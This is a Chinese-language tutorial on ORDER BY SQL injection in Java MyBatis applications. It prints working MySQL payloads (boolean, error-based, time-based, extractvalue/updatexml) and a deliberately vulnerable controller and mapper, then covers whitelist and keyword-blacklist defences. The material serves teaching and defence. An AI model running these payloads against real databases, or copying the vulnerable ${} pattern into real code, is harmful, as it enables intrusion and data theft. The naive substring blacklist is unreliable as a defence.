关于Java中order by注入详解
字数 901 2025-08-11 08:36:02
Java中Order By注入详解
一、Order By注入概述
Order By注入是SQL注入的一种特殊形式,主要发生在使用动态排序功能的SQL查询中。由于Order By子句后通常跟随的是列名而非值,使用预编译参数化查询时会导致语法错误(列名被引号包裹),因此开发者往往不得不使用字符串拼接方式构建Order By子句,从而产生安全漏洞。
二、MyBatis框架中的Order By注入
在MyBatis框架中,存在两种参数处理方式:
- #{}:预编译处理,MyBatis会将其转换为参数化查询
- ${}:直接字符串替换,存在SQL注入风险
Order By场景下直接使用#{}会导致语法错误,例如:
select * from users order by #{field} -- 会被编译为 order by 'id'(错误)
因此开发者常被迫使用:
<select id="orderBy" resultType="com.example.User">
select * from users order by ${field} ${sort}
</select>
三、Order By注入利用技术
1. 已知字段名的利用方式
当知道表字段名时,可使用以下技术:
(1) IF条件函数
select * from users order by if(1=1,id,user); -- 按id排序
select * from users order by if(1=2,id,user); -- 按user排序
(2) CASE WHEN语句
select * from users order by (case when (1=1) then user else id end);
select * from users order by (case when (1=2) then user else id end);
(3) 其他函数
select * from users order by ifnull(null,user);
select * from users order by rand(1=1);
2. 未知字段名的利用方式
当不知道表字段名时,可使用以下技术:
(1) 强制报错技术
select * from users order by if(1=1,1,(select 1 from information_schema.tables));
select * from users order by if(1=2,1,(select 1 from information_schema.tables));
(2) 正则表达式报错
select * from users order by (select 1 regexp if(1=1,1,0x00));
(3) 延时注入
select * from users order by (select if((ascii(substr(user(),1,1))<0),1,sleep(2)));
注意:延时注入时实际延时时间是sleep(x)乘以表内列的字段数量
3. 报错注入技术
当服务端显示SQL错误信息时,可使用:
(1) extractvalue函数
select * from users order by extractvalue(1,(select concat(0x7e,user())));
(2) updatexml函数
select * from users order by updatexml(1,(select concat(0x7e,user())),1);
(3) floor报错注入
select * from users order by (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
四、防御方案
1. 白名单校验
最安全的做法是限制可排序字段:
if(!"id".equals(field) && !"username".equals(field)) {
field = "id"; // 默认值
}
2. 安全过滤函数
public static boolean checkSql(String content) {
String[] black_list = {"and", "or", "exec", "insert", "select", "delete",
"update", "count", "drop", "chr", "mid", "master",
"truncate", "char", "declare"};
for (String s : black_list) {
if (content.toLowerCase().contains(s)) {
return true;
}
}
return false;
}
3. 其他防御措施
- 使用ORM框架提供的安全排序方法
- 实现字段映射机制,前端传排序代号而非直接字段名
- 结合WAF进行防护
五、实际案例
@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {
log.info("[vul] mybaits: order by " + field + " " + sort);
return userMapper.orderBy(field, sort);
}
对应Mapper.xml:
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
攻击者可构造恶意参数进行注入测试。
六、总结
Order By注入是SQL注入中较为特殊的一种,由于预编译在Order By场景下的局限性,开发者需要特别注意:
- 避免直接使用${}进行字符串拼接
- 实现严格的白名单校验或安全过滤
- 了解各种Order By注入技术以便更好地防御
- 预编译不是万能解决方案,需要结合其他安全措施
安全开发应当从代码层面深入理解各种漏洞原理,而不仅限于靶场环境的复现。